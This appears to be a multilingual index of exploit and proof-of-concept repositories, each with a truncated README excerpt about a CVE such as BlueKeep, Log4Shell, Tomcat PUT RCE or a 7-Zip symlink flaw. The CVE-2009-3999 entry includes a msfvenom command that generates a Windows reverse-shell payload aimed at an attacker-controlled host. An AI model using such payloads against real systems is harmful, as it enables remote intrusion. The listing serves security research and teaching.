Explotacion-RCE-Pentesting-BlueKeep-CVE-2019-0708-

Explotación de Vulnerabilidad BlueKeep CVE-2019-0708 en Entorno Controlado Proyecto académico enfocado en el análisis, ejecución y resolución de problemas durante la explotación de la vulnerabilidad BlueKeep CVE-2019-0708 en el servicio RDP de Windows Server 2008 R2, desarrollado para la asignatu...

CVE-2009-3999

CVE-2009-3999 HP Power Manager 4.2 Build 7 漏洞利用 灵感来源于 https://github.com/CountablyInfinite/HP-Power-Manager-Buffer-Overflow-Python3 步骤 1 msfvenom -p windows/shellreversetcp LHOST=YOUR-KALI-LINUX-IP LPORT=80 EXITFUNC=thread -b '\x00\x1a\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5' x86/alphamixe...

hekate

Hekate - VMWare Workspace ONE Access リモートコード実行エクスプロイト Qihoo 360 Vulnerability Research Institute の Steven Seeley LandGrey によるオリジナルの悪意のある MySQL サーバー 詳細 Hekate は heh-ka-teh と発音されます Date: Tue Feb 22 13:37:00 CST 2022 Version: 21.08.0.1 latest File: identity-manager-21.08.0.1-19010796OVF10.ova File...

CVE-2023-50564_Pluck-v4.7.18_PoC

CVE-2023-50564 PoC Dieses Repository enthält einen Proof of Concept für die Sicherheitslücke CVE-2023-50564 in Pluck CMS Version 4.7.18 Beschreibung CVE-2023-50564 ist eine Sicherheitslücke, die unbefugte Datei-Uploads in Pluck CMS Version 4.7.18 ermöglicht. Dieser Exploit nutzt einen Fehler in d...

CVE-2024-30850-chaos-rat-rce-poc

CHAOS RAT v5.01 वेब पैनल RCE CVE-2024-30850, CVE-2024-31839 https://github.com/tiagorlampert/CHAOS यह एक्सप्लॉइट एक XSS CVE-2024-31839 के लिए एजेंट कॉलबैक को स्पूफ करके, और एडमिन वेब पैनल में कमांड इंजेक्शन भेद्यता CVE-2024-30850 का शोषण करने के लिए XSS का लाभ उठाकर काम करता है। इससे RAT सर्वर से...

CVE-2026-21643

🚨 CVE-2026-21643 "FortiGhost" : FortiClientEMSにおける事前認証SQLi RCE FortiClientEMS 7.4.4における未認証SQLインジェクション 管理GUIへの細工されたHTTPリクエストによる潜在的なリモートコード実行 📋 概要 CVE-2026-21643 は、Fortinet FortiClient Endpoint Management Server FortiClientEMS のバージョン 7.4.4 にのみ影響する深刻な SQLインジェクション脆弱性 CWE-89 です。 未認証の...

Log4Shell-CVE-2021-44228

利用Log4Shell（CVE-2021-44228）：一个完整、现代的演示实验室 Log4Shell（CVE-2021-44228）是迄今为止公开的最具影响力的远程代码执行漏洞之一。它影响了Apache Log4j 2 ，这是一个广泛使用的Java日志框架，攻击者可以通过滥用日志消息中的JNDI查找 来执行任意代码。 本指南提供了一个完整的、可重复的演示实验室，使用： Kali Linux （攻击者） Docker化 的易受攻击的Log4j2应用程序 公开的PoC log4j-shell-poc curl 、Burp Suite 和Netcat...

CVE-2025-55188-7z-exploit

CVE-2025-55188-7z-exploit 7-Zip シンボリックリンク任意ファイル書き込み PoC CVE-2025-55188 説明 この概念実証は、CVE-2025-55188 を示しています。これは、7-Zip の 25.01 より前のバージョンの脆弱性です。 この欠陥は、7-Zip が展開中に シンボリックリンク を適切に処理しないために発生し、細工されたアーカイブがターゲットシステム上の任意のファイルを上書きできるようになります。 被害者が悪意のあるアーカイブを展開すると、攻撃者は以下を行うことができます： 機密ファイル（例:...

CVE-2026-59827

CVE-2026-59827: Deserialización insegura en consultas nativas H2 de Metabase Severidad: Crítica CVSS 9.9 CVE: CVE-2026-59827 Aviso: GHSA-w95f-x9v9-wv36 Reportado por: Matheus Gutierre @Gutierre0x80 Publicado: 30 de junio de 2026 Resumen de la vulnerabilidad Un usuario autenticado con acceso a...

CVE-2021-44228

CVE-2021-44228 Log4j2コンポーネントコマンド実行RCE Code By:Junsheng @橘子网络安全实验室 橘子网络安全实验室 https://0range.team/ 0x00 リスク概要 本ツールは認可されたセキュリティテストのみに使用してください。未承認の不正攻撃サイトへの使用は禁止です オンラインで《中華人民共和国ネットワーク安全法》を読む 0x01 ツールの使用方法 実行中のプロンプト 0x02 注意 本ツールはJNDIインジェクションツールを呼び出して脆弱性攻撃を行います 攻撃対象のアドレスは完全なパスを入力してください！...

CVE-2017-12617

CVE-2017-12617 CVE-2017-12617 是 Apache Tomcat 中发现的一个严重远程代码执行（RCE）漏洞 影响那些启用了HTTP PUT的系统（通过将Default servlet的“read-only”初始化参数设置为“false”）受到威胁。 在9.0.1（Beta）、8.5.23、8.0.47和7.0.82之前的Tomcat版本中，如果默认servlet配置了参数readonly设置为false，或者WebDAV servlet启用了参数readonly设置为false，则所有操作系统上都会存在一个潜在危险的远程代码执行（RCE）漏洞。 Apache...

CVE-2022-26809

CVE の説明 CVE-2022-26809 - Windows の中核コンポーネントRPCの脆弱性で、CVSS スコア 9.8 を獲得しましたが、これには理由があります。この攻撃は認証を必要とせず、ネットワーク経由でリモートから実行でき、RPC ランタイムをホストするプロセスに依存する RPC サービスの権限で、リモートコード実行RCEにつながる可能性があります。この重大なバグは、運が良ければ、パッチ未適用で SMB を実行している Windows...

dubbo-rce

CVE-2023-23638 학습 및 연구 목적으로만 제공 ZooKeeper는 별도로 준비 필요 테스트 환경은 Java 8이며, 다른 버전은 테스트되지 않았고, 사용 가능성을 보장하지 않습니다. 재현 시 DemoConsumer에 VM 매개변수를 추가해야 합니다: -Ddubbo.hessian.allowNonSerializable=true, 자세한 내용은 https://su18.org/post/hessian/serializable를 참조하세요. 분석 글:...

CVE-2023-47459

CVE-2023-47459 Beschreibung Eine Schwachstelle wurde in Knovos Discovery v.22.67.0 entdeckt, die es einem entfernten Angreifer ermöglicht, vertrauliche Informationen über die folgenden Komponenten abzurufen: /DiscoveryReview/Service/CaseManagement.svc/GetProductSiteName,...

CVE-2026-33017

CVE-2026-33017 — Langflow 未认证远程代码执行 HoGent CyberSecurity II — 网络渗透测试与利用（NPE） 学年 2025–2026 概述 本仓库包含一个完整的实验环境及 CVE-2026-33017 的利用演示，这是 Langflow ≤ 1.8.1 中的一个严重未认证远程代码执行（RCE）漏洞。 攻击者无需任何认证即可通过 /api/v1/buildpublictmp/flowid/flow 端点在服务器上执行任意 Python 代码，原因是用户输入被直接传递给 Python 的 exec，且没有沙箱隔离或验证。 ⚠️ 免责声明：...

CVE-2026-3854

CVE-2026-3854: GitHub における X-Stat ヘッダーインジェクションによる RCE Wiz Research が GitHub.com および GitHub Enterprise Server の内部 git push パイプラインで発見した脆弱性の仕組みに関する実践的な概要。 注意 この資料は教育目的および攻撃的セキュリティ研究を目的としています。 この脆弱性は、サポートされているすべてのバージョンで GitHub によってすでに修正されています。 自分が所有していない環境、または書面による明示的な許可を得ていない環境に対して再現を試みないでください。...

CVE-2020-9548

CVE-2020-9548：FasterXML/jackson-databind 远程代码执行漏洞...

openclaw-vuln-report

OpenClaw 漏洞分析报告 CVE-2026-25253 安全漏洞中文解读 在线阅读 GitHub Pages: https://joseph19820124.github.io/openclaw-vuln-report/ 漏洞摘要 CVE : CVE-2026-25253 评分 : CVSS 8.8 高危 类型 : 跨站 WebSocket 劫持 影响 : 一键点击实现远程代码执行 来源 原文: The Hacker News...

Microsoft-CVE-2022-26809-The-Little-Boy

Microsoft-CVE-2022-26809（又名The Little Boy）- POC 针对CVE-2022-26809通过RPC实现RCE的POC将在此处更新。 我们正在识别漏洞代码，并在这里分享最简单的一键RCE。...

Python-CVE-2020-25213

Python-CVE-2020-25213 WP File Manager भेद्यता के लिए Python इंटरैक्टिव एक्सप्लॉइट। WordPress के लिए File Manager wp-file-manager प्लगइन 6.9 से पहले के संस्करण में रिमोट हमलावरों को मनमाना PHP कोड अपलोड और निष्पादित करने की अनुमति देता है क्योंकि यह एक असुरक्षित उदाहरण elFinder कनेक्टर फ़ाइल को .p...